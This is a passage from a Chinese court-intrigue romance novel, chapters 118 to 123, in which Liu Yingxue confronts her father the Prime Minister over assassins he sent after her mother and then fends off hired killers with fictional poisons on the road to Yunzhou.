“证据?”柳丞相冷笑一声,手中的玉佩重重砸在桌上。他站起身,在书房里来回踱步,“把人抓来审问,不就什么都知道了?” “使不得啊!”司叔吓得连忙跪下,膝盖重重磕在地上发出闷响,“相爷您想想,凤栖楼现在可是摄政王的人经常出入。若是动了孙掌柜,这事怎么瞒得住?大小姐马上就要嫁入王府,这个节骨眼上......” 柳丞相的脚步一顿,手指在桌案上轻轻敲击。窗外的风吹动着竹帘,发出沙沙的响声。他的眼神渐渐阴沉,是啊,萧寒瑾那个人,可不是好惹的。 可朱氏......一想到她现在和司马澄在一起,他的心就像被人用刀一下下剜着。那些年轻时的画面不断在脑海中闪现:朱氏对着司马澄浅笑的样子,两人并肩而立的身影...... “够了!”他猛地挥手打翻了茶盏,滚烫的茶水溅在地上。 “老爷!”司叔颤抖着想要起身收拾。 “司叔,你先下去吧。”柳丞相揉了揉太阳穴,声音里带着疲惫。 老奴还想再劝,却对上了主子那双渗人的眼睛。那里面的阴郁几乎要溢出来,他只得叹了口气,一瘸一拐地退了出去。 书房里,柳丞相独坐良久。窗外的天色渐渐暗了下来,他的心却比夜色更加幽深。既然朱氏当年就负了他,那这一次,就别怪他心狠手辣了。 他唤来十名暗卫,这些人都是他多年前就开始培养的死士。在烛光下,他们的面容模糊不清,只有眼中的杀意清晰可见。 “去云州,盯住凤栖楼的一举一动。若是发现朱氏和司马澄有任何来往......”他顿了顿,“不用留活口。” 那些人很快消失在夜色中,朝着云州的方向疾驰而去。夜风呼啸,卷起他们的衣袍,如同一群黑色的魅影。 这个消息很快传到了几处。 四贡院中,司微澜听完手下的禀报,红唇勾起一抹冷笑。她站在窗前,看着远处的灯火,“看来丞相大人是坐不住了啊。” 她轻轻摇晃着手中的茶盏,茶水在杯中荡起涟漪:“青珑,两个时辰后,把这个消息送到柳映雪那里。” 青珑躬身应是,却没有立即退下。 “还有......”司微澜转过身,附在青珑耳边低语几句。青珑的脸色微微一变,但还是恭敬地应下了。 “小姐,这样会不会......” “怎么?”司微澜挑眉,“你觉得我太狠心了?”她走到铜镜前,慢条斯理地整理着发髻,“在这京城里,谁不是在刀尖上跳舞?柳映雪若是连这点风浪都经不起,又如何配得上那个位置?” 青珑不再说话,默默退了下去。 与此同时,摄政王府的书房里,柳映雪正和萧寒瑾相对而坐。 案几上摆着几本诗集,两人正谈论着其中的佳句,气氛温馨惬意。 “这首《云州曲》写得极好。”柳映雪指着书页,“尤其是这句"晓江水暖鸭先知",生动有趣。” 萧寒瑾看着她认真的样子,眼中闪着温柔:“你喜欢的话,改日我陪你去云州走走。那里的晓色,比诗中描写的还要美上几分。” 柳映雪正要说话,绿风在门外轻轻叩门:“王爷,皇上宣您入宫议事。” 萧寒瑾眉头微皱:“何事?” “是关于使臣召见和狩猎的事宜。” 柳映雪打了个小小的哈欠,阳光晒得她有些困倦:“你去吧,我在这里休息一会。” 萧寒瑾看着她困倦的样子,忍不住伸手替她拢了拢鬓边的碎发。他的动作很轻,生怕惊扰了她:“好,我很快回来。” 等柳映雪睡着后,他轻手轻脚地起身,叮嘱绿风守在门外,这才带着绿竹往宫里去了。 书房里一片寂静,只有她均匀的呼吸声。阳光渐渐西斜,在地上拉出长长的影子。 等她醒来时,天色已经暗了。她整理好衣裳,准备回清溪居。 绿风想要护送,却被她婉拒:“你去宫门口等王爷吧,若有什么急事也好及时应对。” 看着她远去的背影,绿风有些犹豫。王爷临走前特意叮嘱过要照顾好小姐,可想到她也是为了王爷着想,也就没有强求。 殊不知,就在这夜色渐浓的傍晚,暗流已经在京都城中涌动。街道上的行人渐渐稀少,各家各户的灯火次第亮起。远处传来更夫打更的声音,一声声敲在人心上。 柳映雪走在回清溪居的路上,忽然觉得背后一凉。她下意识地回头,却只看到空荡荡的街道。月光洒在青石板上,将她的影子拉得很长。 第一百一十八章 密信 就在这时,一个黑影从墙头一闪而过。 她心中一惊,加快了脚步。可还没走几步,又是一道黑影从另一侧掠过。 四周静得可怕,连虫鸣声都听不见。她的手心开始冒汗,却强迫自己保持镇定。 “谁?”她停下脚步,声音里带着几分冷意。 没有人回答,可她分明感觉到有几道目光正死死盯着她。 就在这千钧一发之际,远处传来一阵急促的马蹄声。 青莲和梅枝快步迎上前,为柳映雪整理着披风。“小姐怎么不等我们来接您,这风大得很,可别着了凉。”青莲一边替柳映雪拢了拢披风,一边轻声说道。她的眉眼间满是关切,手上的动作也格外细致。 连映雪微微点头。“走吧。”她轻声开口,带着两个丫鬟上马车。车夫挥动马鞭,马车缓缓向清溪居驶去。 与此同时,绿风正策马朝皇宫方向赶去。他心中隐隐不安,总觉得今晚格外寂静。王爷去这么久了,为何还未归来?他抬头望了望漆黑的夜空,连星月都被厚重的云层遮住,更添几分诡异。 马车行至清溪居门前,夜色愈发深沉。突然,一声闷响打破了夜的寂静。 “砰!” 一支飞镖深深插入车厢外框,木屑纷飞。车夫被这突如其来的变故吓得一抖,马匹也不安地嘶鸣起来。 柳映雪眸光一凛,身形如电般跃出马车。她目光如炬,四下搜寻,却只见一道黑影已消失在夜色中。夜风吹动她的衣袂,带来一丝若有若无的血腥气。 她仔细查看四周,确认无异常后,才走到马车前。那飞镖做工粗糙,平平无奇,上面别着一封信,也未见毒迹。但这平常的外表下,往往藏着最致命的杀机。 “小姐!您没事吧?”青莲和梅枝慌忙下车,满脸担忧。两人紧紧跟在柳映雪身边,生怕再有暗器袭来。 “无妨。”柳映雪语气平静,仿佛方才那惊险一幕不过是场闹剧。但她握着飞镖的手却微微用力,显示出内心并不如表面这般平静。 她取下信封展开,目光扫过信纸,瞬间浑身冰冷。指尖因用力而发白,信纸在手中微微颤动。灯笼的光芒映在她脸上,勾勒出一张苍白而冷峻的面容。 柳昌泰竟派出十名暗卫对付母亲! 这个消息如同一记重锤,狠狠击在她心上。母亲不通武功,如何能敌得过十名暗卫?这分明是要她的命!想到母亲可能遭遇的危险,柳映雪只觉得胸口一阵剧痛。 她的目光渐渐变得冰冷,周身散发出令人心悸的杀意。不论这消息是真是假,她都想去丞相府问个明白。若柳昌泰真敢伤害母亲,她定要让整个丞相府血流成河! 青莲和梅枝从未见过小姐如此可怕的样子,不由得瑟瑟发抖。平日里温婉端庄的大小姐此刻宛如地狱中走出的修罗,浑身上下都透着凛冽的杀气。 “你们先回清溪居,这几日不要出门。”柳映雪强压下心中怒火,声音依旧冷静,“若有人来访,就说我病了,不见客。” 她心中思量,母亲回云州一事向来隐秘。就连府中大多数人都不知晓,若非有人刻意相告,柳昌泰不可能知道得这么清楚。背后定有人在推波助澜! 待丫鬟进了清溪居,柳映雪立即驾车离去。马蹄声在寂静的街道上回响,惊起几只夜鸟。此刻她深感势单力薄,若有自己的势力,也不至于如此被动。但现在不是考虑这些的时候,当务之急是确保母亲的安全。 马车疾驰,很快到了药坊。昏黄的灯光从窗缝中透出,显示里面还有人在。 “属下见过小姐。”连秀见到柳映雪,连忙行礼。她脸色略显苍白,显然伤势未愈。 “随我出去。”柳映雪语气急促。 连秀向小药童交代一声,便跟着柳映雪上了马车。她虽不知发生了什么事,但从小姐的神色看来,定是非同小可。 车厢内,柳映雪取出一个精致的瓷瓶:“把这个吃了,可助你伤势恢复。”瓷瓶上雕刻着繁复的花纹,显然是珍贵的丹药。 连秀毫不犹豫吞下药丸。她对小姐的信任早已超越了生死。药力很快发作,她感觉浑身暖洋洋的,连日来的疲惫都消散了几分。 柳映雪又取出一个易颜面具:“戴上。”面具做工精良,就连细微的毛孔都清晰可见。 连秀依言照做,顿时变得相貌平平,毫不起眼。这样的装扮最适合执行秘密任务,不会引起任何人的注意。 “去买两匹快马儿,在丞相府门口等我。”柳映雪递给她一张银票,“记住,要挑最好的马。” “是。”连秀领命而去,身影很快消失在夜色中。 夜色已深,柳映雪施展轻功,向丞相府掠去。她的身影如同一片黑色的羽毛,在屋檐间轻盈跳跃。不管那封信真假,她都要未雨绸缪。若真有暗卫奔赴云州,她必须尽快追上,决不能让母亲有失! 来到丞相府门前,她正欲抬脚踹门,忽觉暗处有人窥视。那道若有若无的目光如同毒蛇的信子,让人不寒而栗。但此刻她无暇他顾,抬手重重叩响门环。 铜环撞击门板的声音在寂静的夜里格外刺耳。守门小厮打着哈欠来开门,见是大小姐,吓得连连后退。平日里温婉可亲的大小姐此刻浑身散发着凛冽的寒气,仿佛能将人冻僵。 “大小姐且慢,容奴才通报......” 柳映雪冷冷扫了他一眼:“不想死就好好守门。”她的声音不大,却带着不容置疑的威压。 小厮吓得魂飞魄散,转身就逃。反正大小姐以前在府中,也不必通报。更何况,他可不想惹恼现在这个可怕的大小姐。 柳映雪脚步飞快,向书房掠去。路过的丫鬟只觉一阵风过,再看时人影已杳。她们面面相觑,不知发生了什么事,让大小姐如此反常。 书房门前,一片漆黑。往日这个时候,丞相大人通常还在处理公务,书房内必定灯火通明。但今晚却格外安静。 第一百一十九章 大闹丞相府 柳映雪站在书房院落外,寒风吹起她的衣袖,眼底一片冰冷。她的手指无意识地摩挲着袖中的信笺,那是刚从云州传来的密信,纸上字迹潦草,却字字如刀,刺得她心口生疼。 “大小姐?”一个丫鬟端着茶盘从旁经过,看到她站在那里,不由放慢脚步。 柳映雪眸光一转,伸手抓住那丫鬟的手腕。丫鬟被她突如其来的动作吓得手一抖,茶盘险些掉落。 “柳丞相在哪?”她的声音里带着寒意。 丫鬟被她冰冷的目光盯得心底发颤,手中的茶盘微微晃动,发出细微的碰撞声:“回、回大小姐,老爷在老太君的院子用膳。” 柳映雪松开她,裙摆翻飞,大步朝聚祥院方向走去。 晓日的阳光洒在青石板路上,暖意融融,却驱散不了她心头的寒意。十名暗卫去追杀母亲。 聚祥院的门敞开着,里面传来觥筹交错的声响。柳映雪放缓脚步,站在门外冷眼旁观。 柳丞相高坐主位,一脸慈爱地看着两个儿子。老太君笑眯眯地数着手里的银票,时不时发出满意的笑声。司氏和高氏陪在一旁说笑,脸上带着讨好的笑容。 “父亲,这道鱼可是我特意让厨房给您做的。”柳书兰正给柳丞相布菜,声音甜腻,“您尝尝看,可合口味?” 看着这其乐融融的一幕,柳映雪心中的怒火越烧越旺。她大步迈入膳厅,脚步声惊动了所有人。 厅内瞬间安静下来,所有人的目光都聚集在她身上。 柳书兰最先反应过来,尖声道:“哎呀,这不是大姐吗?你来我们丞相府有何贵干?”她扭头对外喊道,“来人啊!谁放这外人进来的?” 柳映雪三步并作两步上前,一把抓住柳书兰的衣领。还未等她反应过来,就塞了块手帕在她嘴里,随后整个人被扔出了膳厅。 “啊——”凄厉的惨叫声从外面传来。 “我的女儿!”司氏尖叫着冲出去,柳明轩也吓得跟着跑了出去。 老太君拍案而起,脸色铁青:“逆女!你竟敢——” “闭嘴。”柳映雪冷冷打断,“再多说一个字,我就把你也扔出去。” 她目光如刀,直视柳昌泰:“柳丞相,我且问你,你可是派人去云州要害我母亲性命?” 柳昌泰眼神闪烁,面色微变。 柳映雪冷笑一声:“你这表情,已经说明一切。”她一步步逼近,每一步都像是踩在柳昌泰的心上,“我母亲已经跟你分开了,你为何还要赶尽杀绝?” “放肆!”柳昌泰强自镇定,“我是你父亲——” “你算什么父亲?”柳映雪打断他,声音里带着讥讽,“当年我母亲在云州,你在京城就与司氏勾搭成奸,还生了一儿一女。我母亲知道后可曾说过半个不字?” 她目光如电:“你一个接一个地抬小妾进门,我母亲可曾抱怨过?” 老太君插嘴道:“那朱氏本就是个不要脸的贱——” 话未说完,一盏滚烫的茶水泼在她脸上。 “啊!”老太君惨叫着后退,一个踉跄摔倒在地。 白嬷嬷忙要去扶,却被柳映雪甩出的银针击中腿部。她一个趔趄,重重压在老太君腿上。 “咔嚓”一声,老太君刚养好的腿再次断裂。 “你、你这个孽障!逆女”柳昌泰气得浑身发抖,脸色铁青。 “逆女?”她轻声重复着这个词,声音轻得几乎听不见,却带着刺骨的寒意。 膳厅内的气氛凝重得令人窒息。司氏和柳书兰躲在角落里,大气都不敢出。柳明轩站在一旁,眼神闪烁,似乎在权衡利弊。老太君倒在地上,发出痛苦的呻吟。 柳昌泰举起的手停在半空。他的手微微颤抖,那张威严的面孔上浮现出一丝不自然的扭曲。作为一府之主,他从未想过有朝一日会对自己的女儿动手。 柳映雪看着父亲的表情变化,心中冷笑。她不等父亲动手,迅速弯腰将地上哀嚎的老太君拉到身前。这一招果然奏效,柳昌泰的巴掌不偏不倚落在了老太君脸上。 “啪!” 清脆的巴掌声在厅内回荡,仿佛一记惊雷,震得在场所有人都愣住了。 老太君被这一巴掌打得头晕目眩,苍白的脸颊瞬间浮现出一个鲜红的掌印。她身子一歪差点摔倒,柳昌泰连忙扶住她,一边甩着发麻的手掌,一边焦急地喊道:“母亲!” “老太君,您没事吧?”司氏这时才回过神来,连忙上前搀扶,脸上堆满了虚伪的关切。 柳书兰躲在母亲身后,眼中闪着幸灾乐祸。她偷偷瞥了眼柳映雪,却在对上那双冰冷的眼睛时,吓得赶紧低下头去。 柳映雪冷眼旁观这一切。她早就料到父亲会动手,也算准了他的性子。断绝父女关系是一回事,但若自己对父亲动手,那就是另一回事了。这世道最重孝道,她可不会做那么蠢的事。 “丞相大人,”她端起茶盏,语气轻柔得仿佛在和老友闲聊,“看您气得脸都黑了,喝口茶消消火如何?” 不等柳昌泰回答,她已经将茶水灌进了他的嘴里。温热的茶水呛得柳昌泰连连咳嗽,脸色涨得通红。 “咳咳咳......”柳昌泰一手扶着老太君,一手捂着胸口,狼狈不堪。 司氏见状想要上前,却被柳映雪冰冷的眼神定在原地。柳书兰更是吓得往后退了几步,差点撞到身后的屏风。 柳明轩站在一旁,眼神复杂。作为柳家的长子,他深知今晚这一幕意味着什么。大姐姐这是要和整个丞相府撕破脸皮了。 柳映雪将老太君往柳昌泰怀里一推,转身时手腕一翻,两枚流星针无声无息地击中了桌腿。这是她从小练就的暗器手法,就连在场的人都没看清她是何时出手的。 第一百二十章 去云州 她走到门口,回头看着柳昌泰,眼神冰冷如寒潭:“记住,若我娘亲有半点闪失,整个丞相府都得给她陪葬。” 话音刚落,身后传来一阵剧烈的响动。那张被流星针击中的桌子轰然倒地,碗筷四散,汤水泼洒一地。老太君被这突如其来的变故吓得尖叫一声,差点晕厥过去。 夜色已深,月光如水般倾泻而下。柳映雪快步走出丞相府,看到连秀正在门外等候。 “小姐。”连秀快步上前,眼中满是担忧。她早就察觉到今晚不同寻常,却没想到事情会发展到这个地步。 “上马,我们即刻启程去云州。”柳映雪翻身上马,月光下她的侧脸显得格外清冷,“路上可能有危险,你可愿随我同去?” “属下愿随小姐赴汤蹈火。”连秀毫不犹豫地回答,随即也翻身上马。 两匹骏马在夜色中疾驰,很快来到摄政王府后门。守卫见是柳映雪,立刻从暗处现身行礼。 “王爷可在府中?”柳映雪勒住马缰,声音里听不出任何情绪。 “回禀大小姐,王爷尚未回府。”守卫恭敬地回答。 “替我转告他,就说我有要事外出几日,让他不必挂念。”说完,她便调转马头,准备离开。 守卫还想说什么,却见柳映雪已经策马扬长而去。月光下,她的身影显得格外决绝。 城门虽已关闭,但凭着摄政王的令牌,两人还是顺利出城。夜色中,马蹄声渐行渐远,直至消失在茫茫夜色中。 与此同时,萧寒瑾刚从宫中出来,见绿风在宫门外等候。他的眉头微皱,似乎察觉到了什么不对劲。 “雪儿可曾用过晚膳?”他问道,声音里带着一丝关切。 “回王爷,柳大小姐说天色已晚,便先回清溪居了。”绿风如实回答。 萧寒瑾眸色一沉,周身的气温仿佛骤降了几分。他快步走向马车,衣袍在夜风中猎猎作响。 回到王府,暗卫立即上前禀报柳映雪离开的消息。萧寒瑾站在庭院中,月光将他的影子拉得很长。 “王爷,大小姐留下口信说有要事外出几日。”暗卫低着头,不敢看主子阴沉的脸色。 萧寒瑾周身的气温骤降,眼神冷得能冻住人。他的手指无意识地摩挲着腰间的玉佩,声音低沉而危险:“去查,把她离开王府后的所有行踪都给我查清楚。” “是!”暗卫领命退下,只留下萧寒瑾一人站在月光下。 这一夜,注定无人能安眠。丞相府内,柳昌泰坐在书房里,手中的茶早已凉透。老太君在房中哭闹不止,司氏和柳书兰轮流劝慰。连明轩站在廊下,望着月亮发呆。 而此时的柳映雪,已经骑马走出了十里地。 “小姐,前面就是岔路口了。”连秀提醒道。 柳映雪点点头,调转马头走上了通往云州的小路。月光下,两个身影渐渐消失在夜色中。 绿风心急如焚地在各处打探消息,额头渗出细密的汗珠。夜色已深,街道上行人寥寥,唯有他的脚步声在青石板上回响。 他懊悔不已,早知如此就该坚持将柳大小姐送回清溪居。可当时见她神色坚决,又有王爷的令牌,自己也不好过多阻拦。若是按照王爷的吩咐行事,或许就能及时发现端倪。 书房内,烛火摇曳,在墙上投下晃动的影子。萧寒瑾负手而立,眸光阴沉似墨,周身散发的寒意令人不寒而栗。他修长的手指无意识地敲击着案几,发出轻微的响声。 若雪儿真的出了什么意外,他定要让幕后黑手付出血的代价。 绿风和绿竹很快闪身进入书房,两人脸上都带着疲惫之色。他们用尽全力打探消息,多亏陶大君的小药童提供线索,才能如此迅速查明真相。 “说。”萧寒瑾淡淡开口,声音中带着不易察觉的紧绷。 绿风立刻单膝跪地禀报:“回王爷,属下查到柳大小姐刚到清溪居时,有人用飞镖将一封信射在马车上。大小姐看完信后神色凝重,让丫鬟们先进府,独自驾车离去。” 他顿了顿,继续道:“信上的字迹很是工整,显然是出自高手之手。属下已命人去查那支飞镖的来源。” 萧寒瑾眸光渐冷:“继续。” “大小姐随后去了城东的药坊,带走了新收的属下连秀。”绿风声音略显颤抖,“属下打听到,大小姐与柳丞相发生了激烈争执。柳丞相派人去云州暗杀朱夫人,大小姐应该是赶去阻止。” “丞相府现在乱成一团。柳丞相突然昏迷不醒,说不出话来。老太君也受了惊吓晕倒。大夫们都查不出病因,只说像是中了某种奇毒。” 萧寒瑾嘴角微扬。他的雪儿做事向来滴水不漏,这次显然是用了那瓶“寂毒”。这种毒药无色无味,中毒者会暂时失声,最适合对付柳昌泰这样的老狐狸。 绿竹这时上前一步,补充道:“王爷,大小姐是持您的令牌出城。她离开后约一个时辰,又有两批人马分别从东西两个城门出城。属下派人跟踪,发现其中一批是丞相府的暗卫。” “查。”萧寒瑾眸光凌厉如刀,“务必查清另一批人的来历。” “属下正在追查。那些人行踪诡秘,显然受过严格训练。不过属下已经派人盯住了他们的踪迹。” 萧寒瑾负手踱步,沉思片刻:“绿竹,派人监视丞相府。把柳昌泰这些年在碧玉阁的勾当,写成奏折交给言官。他贪污的黄金,也要让皇上知道。” “是。属下这就去办。” “密切关注城中动向,尤其是四贡院。一定要查出幕后主使。”萧寒瑾眼中寒芒闪烁,“本王怀疑此事与西域使团有关。” “遵命。属下已经安排人手监视四贡院,一有异动立即禀报。” “绿风。” “属下在。” “准备几匹最快的马,带上暗卫,从幽径出城。”萧寒瑾语气沉稳,但眼中的担忧一闪而过,“雪儿独自一人在外,本王放心不下。” “是。属下这就去准备。” 第一百二十一章 摄政王也去了 片刻后,萧寒瑾骑着流星疾驰而去,几名精锐暗卫紧随其后。月光下,他们的身影如同离弦之箭,很快消失在夜色中。 与此同时,云州司空府。 司马澄坐在书房内,手中握着一封密信,眸光森冷。烛火映照下,他俊朗的面容笼罩着一层寒霜。 柳昌泰这些年仗着丞相之位,越发猖狂。连陪伴他十余载的雅芸都不放过,实在可恨。以前顾及母女情分不敢动手,如今再无顾虑。 他迅速写下密信,字迹凌厉如刀:“将柳昌泰的罪证分别送往秦帝师和其他大臣手中。时机已到,该让这只老狐狸付出代价了。” 这些年,柳昌泰利用职权为同僚们摆平诸多丑事,握有他们的把柄,才让这些人对他死心塌地。那些官员为了讨好他,不惜铤而走险,甚至暗中谋害忠良。 柳昌泰此人极重面子,自诩清高,一面看不起商户出身的朱雅芸,一面却贪图她的钱财。司马澄想到这里,手中的毛笔几乎要被捏断。 那些巴结他的官员,大多投其所好,为他搜罗美人。以至丞相府中小妾如云,每个都带着算计。想到雅芸这些年在后院受的委屈,司马澄眼中寒意更甚。 “訾羽。”他沉声唤道。 黑衣男子瞬间从暗处现身,单膝跪地:“属下在。” “去解决柳昌泰派来的十名暗卫。”司马澄冷声道,“别让他们玷污了云州的地界。” “是。属下定不负所托。” “另外,去接应雪儿。若有人找她麻烦,一并处理。”司马澄语含担忧,“她独自带着连秀赶路,恐怕会遇到危险。” “遵命。属下这就动身。” 訾羽是司马澄意外救下的属下,对他忠心耿耿。原本打算让他去对付柳昌泰,没想到朱雅芸和离的消息先传来,打乱了原有的计划。 司马澄站在窗前,望着窗外浓重的夜色,眸光凛冽。月光洒在他俊朗的面容上,勾勒出一道冷峻的轮廓。 此事显然有人精心策划。对方对雪儿知之甚详,才会拿雅芸作为突破口。究竟是谁在背后操控这一切? 他有些自责,若早些告诉雪儿自己的势力,也不至于让她连夜赶路。不过雪儿向来谨慎,应该能照顾好自己。 此时,柳映雪和连秀正策马疾驰在官道上。月光如水,照亮了她们的前路。 两人已经赶了一天一夜的路,中途只休息了几次。马儿已经有些支撑不住,脚步明显放缓。 “连秀,在这里歇息片刻。”柳映雪环顾四周说道,“马也需要休息,否则撑不到云州。” “是,小姐。”连秀牵着马来到路边的树下,“这里树木茂密,适合暂时休整。” 连秀将马拴在树上,去寻些枯枝生火,准备热一热路上买的干粮。她动作麻利,显然经过专业训练。 由于走得匆忙,带的干粮不多,只能在路上随时补给。好在沿途还算太平,没有遇到什么危险。 柳映雪靠在树边,望着远处起伏的山影,眼中闪着疲惫。她知道自己这一走,势必会引起轩然大波。但为了救母亲,她别无选择。 夜风吹拂,带来阵阵凉意。连秀已经生起了一堆小火,橘红的火光映照着两人疲惫的面容。 夜色渐深,林间寒风呼啸,枯枝在风中摇曳作响,远处传来几声凄厉的狼嚎。 柳映雪警惕地环视四周,月光透过树梢斑驳地洒在地上,在这片昏暗中,每一处阴影都可能藏匿着杀机。她缓步走到火堆旁,蹲下身仔细添了些柴火。 火光映照在她精致的脸庞上,忽明忽暗。长时间的奔波让她略显疲惫,但眼神依然锐利如鹰隼。她不动声色地打量着四周,手指无意识地摩挲着袖中的暗器。 “小姐,您该休息了。”连秀轻声说道,递上一个水囊,“喝点水吧。” 柳映雪接过水囊,浅抿了一口。这丫头倒是细心,知道在水里加了些驱寒的药材。她看向一旁的连秀,心中暗暗点头。这位凤张的娇女,一路奔波竟毫无怨言,倒是出乎她的意料。 “辛苦你了。”柳映雪轻声说道,目光柔和了几分。 连秀连忙摆手,发丝随着动作轻轻晃动:“小姐才是辛苦,属下从小习武骑马,这些都是寻常。倒是小姐平日在府中,少有远行,今日却骑得比属下还快。” 柳映雪淡淡一笑,并未多言。她骑术精湛,自有缘由,只是不便多说罢了。回想起早些时候的追杀,她眼底闪着寒意。那些人的身手不错,显然是经过专业训练的死士。 夜风吹拂,带来一阵潮湿的气息。柳映雪抬头看了看天色,乌云正在慢慢聚集。 “小姐,趁热吃些东西吧。”连秀从包袱里取出干粮,用火烤得温热,“虽然粗糙了些,但总比饿着强。” “你也吃。”柳映雪接过干粮,“这一路奔波,想必也饿了。” 连秀摇头笑道:“属下不饿呢,喝了小姐给的水,浑身都是力气。那水当真神奇。” “那是我特制的药水,补充体力最好不过。”柳映雪面不改色地说着谎。那哪是什么药水,分明是月露水的功效。只是这等秘密,还不到告诉连秀的时候。 两人匆匆用过饭,在火堆边稍作歇息。柳映雪靠着一棵大树,看似闭目养神,实则一直保持着警惕。她能感觉到,那些追杀的人并未放弃。 夜色愈发深沉,林中的虫鸣渐渐消失。这反常的寂静让柳映雪心头一紧。 一个时辰后,柳映雪猛然睁开双眼,眸中寒光乍现。空气中飘来一丝若有若无的血腥气,那是杀手特有的气息。 果然,那人是冲着她的命来的。 “小姐...”连秀察觉到异样,手已经按在了剑柄上。 “准备武器。”柳映雪声音冰冷,从怀中取出一个小瓷瓶,“把这个吃了。” 她递给连秀一粒药丸,后者毫不犹豫地吞下。这是她精心炼制的解毒丹,能预防大部分毒物。 连秀取出两把佩剑,递给柳映雪一把。这是她临行前匆忙购置的,虽然柳映雪并不缺武器,但还是收下了。剑身在火光下泛着冷冽的光芒。 第一百二十二章 各方齐登场 火光摇曳中,约莫二十个黑衣人悄然现身。他们个个蒙面,左胸绣着鲜红火焰图案,手持各式兵器,杀气腾腾。 “阁下是谁?”柳映雪冷冷开口,手中长剑轻轻一转,“无冤无仇,为何要自寻死路?” 为首黑衣人冷笑,声音沙哑:“小姑娘口气不小,就怕实力配不上这份狂妄。” “那就试试看。”柳映雪语气平淡,目光扫过众人,“不过在动手前,至少该报上名号。这般鬼鬼祟祟,不太好看。” “哼,我们是幽冥阁的人!”黑衣人傲然道,“知道了也是死!” 柳映雪转头看向连秀:“幽冥阁是做什么的?” “属下不知,只听说过膳火堂,那里的熏鸡很是美味。”连秀一本正经地回答。 黑衣人勃然大怒:“无知小儿!幽冥阁可是天下第二大杀手组织!” “哦?”柳映雪眉梢微挑,语气中带着几分玩味,“那不知谁出钱要我的命?开个价,说不定我能给双倍。” “死到临头还敢嘴硬!”黑衣人怒喝,“兄弟们,动手!” 柳映雪轻笑:“我是不知道自己怎么死,但你们的死法,我已经想好了。” “老大,别再跟她啰嗦了!”一个黑衣人按捺不住,提剑就要冲上来。 “可惜晚了。”柳映雪眼中闪过讥讽,“你们话太多,毒早就散开了。” 黑衣人这才发现不对,浑身发软,纷纷倒地。有人想强撑着出手,却连兵器都拿不稳了。 “小姐好厉害!”连秀惊叹,“你究竟是什么时候下的毒?” “你没注意到这火越烧越烈吗?”柳映雪指了指火堆,“我在柴火上抹了特制的毒粉,随着燃烧散开,无色无味。” 连秀恍然大悟:“难怪小姐让我吃解毒丹。” 柳映雪走到领头人面前,居高临下地问:“说吧,是谁要我的命?” 对方咬牙不语,眼中满是不甘和怨毒。 “不说?”柳映雪从袖中取出一个小瓶,在对方面前晃了晃,“要不要尝尝我的销骨散?听说溶解的过程特别痛苦。” 黑衣人脸色大变:“你...你敢!” “我有什么不敢的?”柳映雪冷笑,“你们既然敢来杀我,就该想到这个下场。现在给你两个选择:要么说出幕后主使,要么尝尝这销骨散的滋味。” 她说着,已经拔开瓶塞。一股腐蚀性的气味飘散开来,让人闻之欲呕。 “我说,我说!”黑衣人连连摆手,声音因恐惧而变得尖锐,“是丞相府的人指使我们来的!” 柳映雪眸光微眯,手指无意识地摩挲着瓷瓶。按照时辰推算,这伙人绝非丞相府的人马。丞相府行事向来谨慎,不会如此明目张胆。只怕是有人假借丞相府的名义行事。 夜色愈发深沉,林间传来阵阵虫鸣。连秀握紧了腰间的佩剑,警惕地环顾四周。她跟随小姐多年,还从未见过如此诡异的局面。 “小姐,”连秀压低声音道,“这些人的武功路数很是奇怪,不像是京城中任何一个势力的手笔。” 柳映雪微微颔首。她也察觉到了这一点。这些人的招式杂乱无章,像是临时拼凑起来的。若真是丞相府的人,不可能如此不堪。 正当她思索对策之时,远处传来一阵急促的马蹄声,打破了夜的寂静。 “有人来了!”连秀立即拔出佩剑,横在身前。 十余名黑衣人策马而来,马蹄扬起的尘土在月光下显得格外清晰。与地上那些人不同,这批人虽也是一身夜行衣,却并未蒙面。 连秀立即挡在小姐身前,剑尖直指来人,“来者何人?报上名来!” 那群人翻身下马,动作整齐划一。看到地上横七竖八躺着的黑衣人,他们纷纷单膝跪地,“小姐恕罪,属下来迟了。” 柳映雪眉头微蹙,“你们是谁派来的?” 为首之人抬头道:“回禀小姐,是司马主子派我等前来护卫。主子得知小姐要南下,特意派我等暗中保护。” “司马叔父?”柳映雪语气讶异。她记得上次与叔父相见时,他满心思念娘亲,言语间尽是哀伤。没想到他竟暗中布置了这么多人手。 夜风徐徐,吹动她的衣袂。柳映雪正要细问,又是一阵急促的马蹄声由远及近。 司马府的人迅速起身,拔剑护在柳映雪身前。剑锋在月光下泛着冷冽的光芒。 待看清来人,柳映雪不禁瞪大双眼 - 竟是萧寒瑾! 她连忙喊住要动手的护卫,“住手,是自己人!” 萧寒瑾从马背上一跃而下,身形矫健如豹。几个起落间,他已来到柳映雪面前。月光下,他俊美的面容带着几分焦急,仔细打量她一番,见她安然无恙,这才将人轻轻拥入怀中。 “雪儿,让你受惊了。”他低沉的声音里满是心疼,温热的呼吸拂过她的耳畔。 柳映雪靠在他温暖的胸膛前,听着他有力的心跳,“你怎么来了?宫中不是还有要事处理吗?” “再重要的事,也比不上你的安危。”萧寒瑾轻抚她的青丝,“若不是宫中事务耽搁,我早该赶来护你周全。一想到你独自在外,我就寝食难安。” “我没事的。”柳映雪抬头看他,月光映照下,他的眼中满是柔情,“只是担心娘亲和叔父,才急着赶路。现在见到叔父派来的人,我也放心了些。” 萧寒瑾正要说话,又一骑快马疾驰而来。马蹄声打破了这温情一刻。 来人身形矫健,骑术精湛,正是訾羽。他翻身下马的动作行云流水,显示出极高的武功造诣。 “小小姐。”訾羽向柳映雪行礼,目光却始终警惕地打量着萧寒瑾,“属下受主子之命前来保护。” 柳映雪急切问道:“那些暗处的人可曾拦下?” “已经全部擒获。”訾羽语气平静,“他们交代,是受人指使来劫持小姐的。属下已将人押往城中大牢。” 萧寒瑾淡淡开口:“本王自会护她周全,不劳诸位费心。回去跟你家主子说一声,本王定会安全护送雪儿抵达云州。” 众人这才知道眼前男子身份尊贵,连忙跪地行礼。月光下,一时间只闻布料摩擦声。 第一百二十三章 幽冥阁 柳映雪看着地上还在装死的黑衣人,转头问道:“萧寒瑾,这些幽冥阁的人该如何处置?” “幽冥阁?”萧寒瑾眉头微皱,眼中闪着寒意。 “对,就是幽冥阁。”柳映雪忽然笑道,“差点又说成膳火堂了,都怪连秀总提那家的熏鸡好吃。” 萧寒瑾看着她俏皮的模样,眼中寒意渐消,取而代之的是无尽宠溺,“饿了?我让绿风带了些糕点来。” 柳映雪眼睛一亮,连连点头。饥肠辘辘的感觉这才涌上来。 